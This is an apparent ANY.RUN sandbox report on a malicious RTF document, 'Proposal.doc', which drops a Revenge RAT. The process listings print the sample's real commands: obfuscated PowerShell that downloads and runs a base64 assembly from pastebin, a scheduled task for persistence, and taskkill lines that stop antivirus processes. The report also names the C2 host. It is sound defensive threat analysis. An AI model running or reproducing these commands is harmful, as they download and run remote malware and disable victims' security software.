File name:

Proposal.doc

Full analysis: https://app.any.run/tasks/e6155828-21ca-4489-8bd3-d4c049cfc7c6
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: May 14, 2019, 23:14:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
trojan
rat
revenge
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

6EDC7C666CDCD12F7905DDAF92218DF5

SHA1:

D8FF8534BD441317830894F52CE5EC8B69725471

SHA256:

62B076EFFD55499B3F2485976494C9D7B329744BFA34438ABECB6F8A4A385337

SSDEEP:

3072:l/RE7QuGU/REDQuGn/RE7QuGi/REvQuGv/REXQuGn/REvQuGm:lZ4HZgQZQNZEUZcUZ0B

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 2312)
      • EXCEL.EXE (PID: 868)
      • EXCEL.EXE (PID: 2672)
      • EXCEL.EXE (PID: 3224)
      • EXCEL.EXE (PID: 3176)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2312)
      • EXCEL.EXE (PID: 868)
      • EXCEL.EXE (PID: 2672)
      • EXCEL.EXE (PID: 3224)
      • EXCEL.EXE (PID: 3176)

    • Uses Task Scheduler to run other applications

      • mshta.exe (PID: 2956)
      • mshta.exe (PID: 1784)
      • mshta.exe (PID: 2568)
      • mshta.exe (PID: 3940)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 1160)
      • schtasks.exe (PID: 3060)
      • schtasks.exe (PID: 764)
      • schtasks.exe (PID: 2356)

    • Changes settings of System certificates

      • mshta.exe (PID: 2920)
      • mshta.exe (PID: 2852)
      • mshta.exe (PID: 1492)
      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 2152)

    • Uses TASKKILL.EXE to kill antiviruses

      • forfiles.exe (PID: 4036)
      • forfiles.exe (PID: 3540)
      • forfiles.exe (PID: 2896)
      • forfiles.exe (PID: 3920)
      • forfiles.exe (PID: 2836)
      • forfiles.exe (PID: 2812)

    • REVENGE was detected

      • powershell.exe (PID: 916)

    • Connects to CnC server

      • powershell.exe (PID: 916)

  • SUSPICIOUS

    • Adds / modifies Windows certificates

      • mshta.exe (PID: 2920)
      • mshta.exe (PID: 2852)
      • mshta.exe (PID: 1492)
      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 2152)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • mshta.exe (PID: 2920)
      • mshta.exe (PID: 2852)
      • mshta.exe (PID: 1492)
      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 2152)

    • Application launched itself

      • mshta.exe (PID: 2920)
      • mshta.exe (PID: 2852)
      • mshta.exe (PID: 1492)
      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 2152)

    • Creates files in the user directory

      • mshta.exe (PID: 2956)
      • powershell.exe (PID: 916)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 4048)
      • powershell.exe (PID: 2976)
      • powershell.exe (PID: 1252)
      • powershell.exe (PID: 2832)
      • powershell.exe (PID: 1396)
      • powershell.exe (PID: 3628)
      • powershell.exe (PID: 3208)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 2956)
      • forfiles.exe (PID: 3604)
      • mshta.exe (PID: 1784)
      • forfiles.exe (PID: 1728)
      • mshta.exe (PID: 3940)
      • forfiles.exe (PID: 1720)
      • mshta.exe (PID: 2568)
      • forfiles.exe (PID: 2940)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2984)
      • cmd.exe (PID: 1688)
      • cmd.exe (PID: 3028)
      • cmd.exe (PID: 1928)
      • cmd.exe (PID: 3812)
      • cmd.exe (PID: 1708)
      • cmd.exe (PID: 3740)
      • cmd.exe (PID: 1896)
      • cmd.exe (PID: 456)
      • cmd.exe (PID: 1892)

    • Uses TASKKILL.EXE to kill process

      • forfiles.exe (PID: 3568)
      • forfiles.exe (PID: 1204)
      • forfiles.exe (PID: 3144)
      • forfiles.exe (PID: 3672)
      • forfiles.exe (PID: 2588)
      • forfiles.exe (PID: 3172)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3456)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3456)
      • EXCEL.EXE (PID: 868)
      • EXCEL.EXE (PID: 2312)
      • EXCEL.EXE (PID: 2672)
      • EXCEL.EXE (PID: 3176)
      • EXCEL.EXE (PID: 3224)

    • Reads internet explorer settings

      • mshta.exe (PID: 2920)
      • mshta.exe (PID: 2956)
      • mshta.exe (PID: 2852)
      • mshta.exe (PID: 1784)
      • mshta.exe (PID: 1492)
      • mshta.exe (PID: 3940)
      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 2568)
      • mshta.exe (PID: 2152)

    • Reads settings of System Certificates

      • powershell.exe (PID: 916)
      • powershell.exe (PID: 2976)
      • powershell.exe (PID: 4048)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
214
Monitored processes
166
Malicious processes
30
Suspicious processes
6

Behavior graph

Click at the process to see the details
start winword.exe no specs excel.exe no specs mshta.exe mshta.exe excel.exe no specs cmd.exe no specs cmd.exe no specs forfiles.exe no specs schtasks.exe no specs forfiles.exe no specs mpcmdrun.exe no specs taskkill.exe no specs cmd.exe no specs #REVENGE powershell.exe forfiles.exe no specs taskkill.exe no specs mshta.exe taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs mshta.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs cmd.exe no specs forfiles.exe no specs schtasks.exe no specs forfiles.exe no specs taskkill.exe no specs mpcmdrun.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs powershell.exe forfiles.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs powershell.exe taskkill.exe no specs taskkill.exe no specs excel.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs mshta.exe taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs powershell.exe taskkill.exe no specs forfiles.exe no specs forfiles.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs excel.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs mshta.exe no specs taskkill.exe no specs powershell.exe taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs mshta.exe taskkill.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs forfiles.exe no specs schtasks.exe no specs taskkill.exe no specs taskkill.exe no specs forfiles.exe no specs mpcmdrun.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs powershell.exe taskkill.exe no specs forfiles.exe no specs taskkill.exe no specs forfiles.exe no specs forfiles.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs mshta.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs powershell.exe excel.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs cmd.exe no specs forfiles.exe no specs schtasks.exe no specs taskkill.exe no specs taskkill.exe no specs forfiles.exe no specs mpcmdrun.exe no specs taskkill.exe no specs mshta.exe cmd.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs powershell.exe no specs powershell.exe no specs taskkill.exe no specs forfiles.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs powershell.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs mshta.exe no specs taskkill.exe no specs taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
284/f /im MSASCuiL.exeC:\Windows\system32\taskkill.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
344/f /im AvastUi.exeC:\Windows\system32\taskkill.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
456/c powershell -noexit [ReFlEcTiOn.AsSeMbLy]::LoAd([CoNvErT]::FrOmBaSe64StRiNg((NeW-ObJeCt NeT.WeBClIeNt).DoWnLoAdStRiNg('h' + 't' + 't' + 'p' + 's' + ':' + '/' + '/' + 'pastebin.com/raw/ELL8v8tv'))).EnTrYPoInT.InVoKe($N,$N)C:\Windows\System32\cmd.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
596/f /im AvastUi.exeC:\Windows\system32\taskkill.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
764"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 60 /tn "MSOFFICEER" /tr "mshta vbscript:CreateObject(\"Wscript.Shell\").Run(\"mshta.exe https://pastebin.com/raw/ELL8v8tv\",0,true)(window.close)" /F C:\Windows\System32\schtasks.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
768/f /im AvastUi.exeC:\Windows\system32\taskkill.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
868"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
916powershell -noexit [ReFlEcTiOn.AsSeMbLy]::LoAd([CoNvErT]::FrOmBaSe64StRiNg((NeW-ObJeCt NeT.WeBClIeNt).DoWnLoAdStRiNg('h' + 't' + 't' + 'p' + 's' + ':' + '/' + '/' + 'pastebin.com/raw/ELL8v8tv'))).EnTrYPoInT.InVoKe($N,$N)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
936/f /im MSASCuiL.exeC:\Windows\system32\taskkill.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
952/f /im MpCmdRun.exeC:\Windows\system32\taskkill.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
Total events
4 816
Read events
3 995
Write events
786
Delete events
35

Modification events

(PID) Process:(3456) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:hy>
Value:
68793E00800D0000010000000000000000000000
(PID) Process:(3456) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3456) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3456) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1320091678
(PID) Process:(3456) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320091792
(PID) Process:(3456) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320091793
(PID) Process:(3456) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
800D0000648A3CDFAA0AD50100000000
(PID) Process:(3456) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:={>
Value:
3D7B3E00800D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3456) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:={>
Value:
3D7B3E00800D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3456) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
0
Suspicious files
23
Text files
59
Unknown types
8

Dropped files

PID
Process
Filename
Type
3456WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRFD58.tmp.cvr —
MD5:—
SHA256:—
2312EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR845.tmp.cvr —
MD5:—
SHA256:—
2920mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\error[1] —
MD5:—
SHA256:—
2920mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\error[1] —
MD5:—
SHA256:—
2920mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\warning[1] —
MD5:—
SHA256:—
2920mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\heroday1[1].htmlhtml
MD5:—
SHA256:—
2920mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\3820394884-comment_from_post_iframe[1].jshtml
MD5:—
SHA256:—
3456WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\10A26DB4.wmf —
MD5:—
SHA256:—
868EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR29B8.tmp.cvr —
MD5:—
SHA256:—
2920mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\1961721879-ieretrofit[1].jshtml
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
44
DNS requests
7
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2956
mshta.exe
GET
200
104.20.209.21:80
http://pastebin.com/raw/JfgU501E
US
html
716 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2920
mshta.exe
172.217.16.161:443
jackasswork.blogspot.com
Google Inc.
US
whitelisted
2852
mshta.exe
172.217.22.41:443
www.blogger.com
Google Inc.
US
whitelisted
2956
mshta.exe
104.20.209.21:80
pastebin.com
Cloudflare Inc
US
shared
2852
mshta.exe
172.217.16.161:443
jackasswork.blogspot.com
Google Inc.
US
whitelisted
2920
mshta.exe
172.217.22.41:443
www.blogger.com
Google Inc.
US
whitelisted
916
powershell.exe
23.249.165.147:2336
mannyddd.duckdns.org
ColoCrossing
US
malicious
2904
powershell.exe
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared
1492
mshta.exe
172.217.22.41:443
www.blogger.com
Google Inc.
US
whitelisted
2852
mshta.exe
216.58.205.237:443
accounts.google.com
Google Inc.
US
whitelisted
2872
mshta.exe
172.217.16.161:443
jackasswork.blogspot.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
jackasswork.blogspot.com
  • 172.217.16.161
whitelisted
www.blogger.com
  • 172.217.22.41
shared
resources.blogblog.com
  • 172.217.22.41
whitelisted
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
malicious
accounts.google.com
  • 216.58.205.237
shared
mannyddd.duckdns.org
  • 23.249.165.147
malicious

Threats

PID
Process
Class
Message
2956
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
1056
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
916
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge/hamza-RAT CnC Checkin
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Proposal.doc